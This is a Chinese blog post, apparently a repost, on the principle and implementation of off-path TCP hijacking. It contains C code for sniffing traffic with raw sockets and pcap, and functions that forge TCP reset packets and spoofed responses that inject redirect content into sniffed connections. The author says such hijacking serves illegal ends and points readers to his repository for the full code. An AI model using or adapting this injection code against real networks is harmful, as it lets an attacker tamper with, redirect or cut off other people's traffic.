博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
旁路劫持原理与实现
阅读量:6328 次
发布时间:2019-06-22

本文共 7305 字,大约阅读时间需要 24 分钟。

hot3.png

    旁路劫持是个备受争议和非议的话题,所以首先声明这是一篇纯技术文章,与伦理道德人格修养及体验感受无关,天气热爱上火多喝点绿豆汤,清热解毒,消暑除烦,止渴健胃,利水消肿,加点薏仁米莲子京糕条一起熬煮味道更佳。

                073602_LZJq_1376494.png

    数据采集:采集有二种方式原始套接字和网络设备抓包,前者效率更高一些但实现相对比较复杂,后者有三方库封装的很好简单易用,C有pcap库wireshark用的就是这个,JAVA有jpcap其实也是一回事,几行代码都能完成从初始化到采集的全过程。如果是电信级应用首选前者企业级应用后者足够,毕竟前者需要自己维护缓冲区和控制复制机制,减少内核区到用户区的数据交换显然可以做的更加灵活,后者都帮开发者处理好了提交上层直接使用就可以了。

原始套接字数据采集:

CGtRaw CRaw;int iLength = 0;USHORT usDst = 0;USHORT usPort = 80;struct ip* pstIP = NULL;struct tcphdr* pstTcp = NULL;struct udphdr* pstUdp = NULL;struct ether_header* pstEth = NULL;UCHAR uszRecv[GT_KBYTES2] = { 0 };if (GT_SUCCESS == CRaw.GtRawInitRecv(GT_PF_PACKET, GT_SOCK_RAW, htons(ETH_P_ALL))) {	while ((iLength = rCRaw.GtNetRecv(uszRecv, GT_KBYTES2)) > 0) {		pstEth = (struct ether_header*)uszRecv;		pstIP = (struct ip*)(uszRecv + sizeof(struct ether_header));		switch (pstIP->ip_p) {			case GT_IPPROTO_TCP:				pstTcp = (struct tcphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);				usDst = ntohs(pstTcp->th_dport);				break;			case GT_IPPROTO_UDP:				pstUdp = (struct udphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);				usDst = ntohs(pstUdp->uh_dport);				break;			default:				break;		}		if (usDst == usPort) {			GT_PRINT("SrcMac: %02x:%02x:%02x:%02x:%02x:%02x\t",				pstEth->ether_shost[0], pstEth->ether_shost[1], pstEth->ether_shost[2],				pstEth->ether_shost[3], pstEth->ether_shost[4], pstEth->ether_shost[5]);			GT_PRINT("DstMac: %02x:%02x:%02x:%02x:%02x:%02x\n",				pstEth->ether_dhost[0], pstEth->ether_dhost[1], pstEth->ether_dhost[2],				pstEth->ether_dhost[3], pstEth->ether_dhost[4], pstEth->ether_dhost[5]);			GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));			GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));			if (NULL != pstTcp) {				GT_PRINT("Protocol: TCP\n");				GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));				GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));				GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + pstTcp->th_off * 4);				pstTcp = NULL;			}			else if (NULL != pstUdp) {				GT_PRINT("Protocol: UDP\n");				GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));				GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));				GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + sizeof(struct udphdr));				pstUdp = NULL;			}			else {			}		}		memset(uszRecv, '\0', GT_KBYTES2);		usDst = 0;	}	CRaw.GtNetClose();}

网络设备抓包数据采集:

void GtPcapCore(UCHAR* puszUser, const struct pcap_pkthdr* pstHead, const UCHAR* puszPacket){	UINT uiLength = 0;	struct ip* pstIP = NULL;	struct tcphdr* pstTcp = NULL;	struct udphdr* pstUdp = NULL;	struct ether_header* pstEther = NULL;	/* ether */	pstEther = (struct ether_header*)puszPacket;	/* ip */	uiLength += sizeof(struct ether_header);	pstIP = (struct ip*)(puszPacket + uiLength);	GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));	GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));	/* tcp|udp */	uiLength += pstIP->ip_hl * 4;	switch (pstIP->ip_p) {		case IPPROTO_TCP:			GT_PRINT("Protocol: TCP\n");			pstTcp = (struct tcphdr*)(puszPacket + uiLength);			GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));			GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));			uiLength += pstTcp->th_off * 4;			break;		case IPPROTO_UDP:			GT_PRINT("Protocol: UDP\n");			pstUdp = (struct udphdr*)(puszPacket + uiLength);			GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));			GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));			uiLength += sizeof(struct udphdr);			break;		default:			break;	}	return;}int main(int argc, char* argv[]){	bpf_u_int32 ulNet = 0;	bpf_u_int32 ulMask = 0;	pcap_t *pstPcap = NULL;	struct bpf_program stFilter;	char szError[GT_PACKET] = { 0 };	char szFilter[GT_PACKET] = { 0 };	char szDevice[GT_PACKET] = { 0 };	UCHAR uszPacket[GT_PACKET] = { 0 };	pstPcap = pcap_open_live(szDevice, 65535, 1, 5, szError);	if (NULL ==  pstPcap) {		GT_ERROR("%s\n", strerror(errno));		return GT_FAILURE;	}	if (pcap_lookupnet(szDevice, &ulNet, &ulMask, szError) < 0) {		GT_ERROR("%s\n", pcap_geterr(pstPcap));		return GT_FAILURE;	}	if (pcap_compile(pstPcap, &stFilter, szFilter, 1, ulMask) < 0) {		GT_ERROR("%s\n", pcap_geterr(pstPcap));		return GT_FAILURE;	}	if (pcap_setfilter(pstPcap, &stFilter) < 0) {		GT_ERROR("%s\n", pcap_geterr(pstPcap));		return GT_FAILURE;	}	if (pcap_loop(pstPcap, -1, GtPcapCore, uszPacket) < 0) {		GT_ERROR("%s\n", pcap_geterr(pstPcap));		return GT_FAILURE;	}	pcap_freecode(&stFilter);	pcap_close(pstPcap);	return GT_SUCCESS;}

    旁路劫持:劫持是指篡改用户源数据并重定向用户目的地址以达到非法目的。作为源目的双方,一方需要得到服务,另一方提供服务,原本二者都不关心对端的来源,加之大多数采用开放性协议的服务又无需身份验证,这就导致旁路设备可以轻易构造出对端信息,代替一端向另外一端做出应答,前提条件只要伪造报文比真实报文先一步到达对端,后到的报文就会被设备当做冗余数据直接丢弃不做响应,所以说劫持能否成功关键看速度。

void CGtRaw::GtRawTcpReset(UCHAR* puszHead, UCHAR* puszDst, int* piDst){	ULONG ulSeq = 0;	ULONG ulAck = 0;	USHORT usIP = 0;	USHORT usSrc = 0;	USHORT usDst = 0;	USHORT usIPTCP = 0;	struct in_addr stSrc;	struct in_addr stDst;	struct tcphdr* pstTcp = NULL;	struct tcphdr* pstReset = NULL;	struct ip* pstIP = (struct ip*)puszHead;	UCHAR uszReset[sizeof(struct ip) + sizeof(struct tcphdr)] = { 0 };	usIP = ntohs(pstIP->ip_len);	memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));	memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));	pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);	usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;	usSrc = ntohs(pstTcp->th_sport);	usDst = ntohs(pstTcp->th_dport);	ulSeq = ntohl(pstTcp->th_seq);	ulAck = ntohl(pstTcp->th_ack);	*piDst = sizeof(uszReset);	pstReset = (struct tcphdr*)(uszReset + sizeof(struct ip));	GtRawTcpHead((UCHAR*)pstReset, usSrc, usDst, ulSeq + usIP - usIPTCP, ulSeq + usIP - usIPTCP);	pstReset->th_win = 0;	pstReset->th_flags = TH_RST;	pstReset->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstReset, sizeof(uszReset) - sizeof(struct ip), stSrc, stDst);	GtRawIPHead(uszReset, GT_IPPROTO_TCP, stSrc, stDst, *piDst);	memcpy(puszDst, uszReset, *piDst);	return;}void CGtRaw::GtRawTcpRedir(UCHAR* puszHead, char* pszSrc, int iSrc, UCHAR* puszDst, int* piDst){	ULONG ulSeq = 0;	ULONG ulAck = 0;	USHORT usIP = 0;	USHORT usSrc = 0;	USHORT usDst = 0;	USHORT usIPTCP = 0;	struct in_addr stSrc;	struct in_addr stDst;	struct tcphdr* pstTcp = NULL;	struct tcphdr* pstRedir = NULL;	struct ip* pstIP = (struct ip*)puszHead;	UCHAR uszRedir[sizeof(struct ip) + sizeof(struct tcphdr) + GT_KBYTES2] = { 0 };	usIP = ntohs(pstIP->ip_len);	memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));	memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));	pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);	usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;	usSrc = ntohs(pstTcp->th_sport);	usDst = ntohs(pstTcp->th_dport);	ulSeq = ntohl(pstTcp->th_seq);	ulAck = ntohl(pstTcp->th_ack);	*piDst = usIPTCP + iSrc;	memcpy(uszRedir + usIPTCP, pszSrc, iSrc);	pstRedir = (struct tcphdr*)(uszRedir + sizeof(struct ip));	GtRawTcpHead((UCHAR*)pstRedir, usDst, usSrc, ulAck,  ulSeq + usIP - usIPTCP);	pstRedir->th_off = pstTcp->th_off;	pstRedir->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstRedir,  *piDst - sizeof(struct ip), stDst, stSrc);	GtRawIPHead(uszRedir, GT_IPPROTO_TCP, stDst, stSrc, *piDst);	memcpy(puszDst, uszRedir, *piDst);	return;}

    OK,关于这个话题就说这么多吧,已经说不少了,文章中涉及的代码片段自己去“厉力文武”的码云空间(http://git.oschina.net/gonglibin)扒吧,都是自己人别客气~

转载于:https://my.oschina.net/gonglibin/blog/983118

你可能感兴趣的文章
如何成为一个设计师和程序员混合型人才
查看>>
unable to load selinux policy. machine is in enforcing
查看>>
2015年10月23日作业
查看>>
MySQL5.7 加强了root用户登录安全性
查看>>
CentOS 6.3_Nagios安装配置与登录
查看>>
加强型的记录集权限(数据集权限、约束表达式设置功能)实现方法界面参考...
查看>>
Linux 内存机制
查看>>
linux下定时任务
查看>>
SharePoint 2013 部署 Part 1
查看>>
DWGSee看图纸dwg文件阅读器免费下载地址
查看>>
高能天气——团队Scrum冲刺阶段-Day 1-领航
查看>>
ISI CVPR journal ranking
查看>>
free movie
查看>>
列表组
查看>>
CF 988E Divisibility by 25 思维 第十二
查看>>
Linux Shell多命令执行
查看>>
Java中的异常处理:何时抛出异常,何时捕获异常,何时处理异常?
查看>>
css3中的变形(transform)、过渡(transtion)、动画(animation)
查看>>
tomcat生产环境JDK部署及虚拟主机等常用配置详解
查看>>
web服务器tomcat入门实战
查看>>